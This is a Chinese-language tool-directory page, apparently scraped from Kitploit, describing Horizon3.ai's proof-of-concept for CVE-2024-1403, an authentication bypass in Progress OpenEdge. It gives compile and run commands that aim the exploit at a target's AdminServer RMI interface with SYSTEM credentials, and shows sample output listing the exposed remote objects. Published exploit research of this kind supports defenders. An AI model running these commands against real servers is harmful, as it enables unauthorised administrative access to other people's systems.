Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-1403 — Progress OpenEdge 认证绕过 | Kitploit
工具/GitHubGitHub/horizon3ai/cve-2024-1403
身份验证与授权漏洞分析漏洞利用Web安全渗透测试红队
GitHubhorizon3ai/cve-2024-1403

CVE-2024-1403

Progress OpenEdge 认证绕过

查看仓库
17722年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-1403 Progress OpenEdge 身份验证绕过

Progress OpenEdge CVE-2024-1403 利用的概念验证。

博客文章

更多详情请见： https://www.horizon3.ai/attack-research/cve-2024-1403-progress-openedge-authentication-bypass-deep-dive

使用方法

您必须自行提供以下 jar 文件的版本：

  • progress.jar
  • oeauth-12.8.-.jar
  • osmetrics.jar
  • juniper.jar

编译

root@kitploit:~
$ javac -cp progress.jar:oeauth-12.8.0.jar Main.java

使用

运行此脚本将尝试使用 NT AUTHORITY\SYSTEM 凭据连接到 AdminServer RMI 接口。

root@kitploit:~
$ java -cp progress.jar:oeauth-12.8.0.jar:osmetrics.jar:juniper.jar:. Main <target_ip>
com.progress.system.SystemPlugIn
	com.progress.chimera.common.IChimeraRemoteObject
	com.progress.system.ISystemPlugIn

com.progress.agent.database.AgentPlugIn
	com.progress.chimera.common.IChimeraRemoteObject
	com.progress.agent.database.IAgentPlugIn

com.progress.ubroker.tools.NSRemoteObject
	com.progress.chimera.common.IChimeraHierarchy
	com.progress.ubroker.tools.IYodaRMI
	com.progress.ubroker.tools.IYodaSharedResources

com.progress.ubroker.tools.UBRemoteCommand
	com.progress.chimera.common.IChimeraRemoteCommand

com.progress.juniper.admin.JAPlugIn
	com.progress.chimera.common.IChimeraRemoteObject
	com.progress.juniper.admin.IJAPlugIn

com.progress.agent.smdatabase.SMPlugIn
	com.progress.chimera.common.IChimeraRemoteObject

在 Twitter 上关注 Horizon3.ai Attack Team 获取最新安全研究：

  • Horizon3 Attack Team
  • James Horseman
  • Zach Hanley

免责声明

本软件完全出于学术研究和开发有效防御技术的目的而创建，除非得到明确授权，否则不得用于攻击系统。项目维护者不对软件的滥用负责或承担责任。请负责任地使用。

下载工具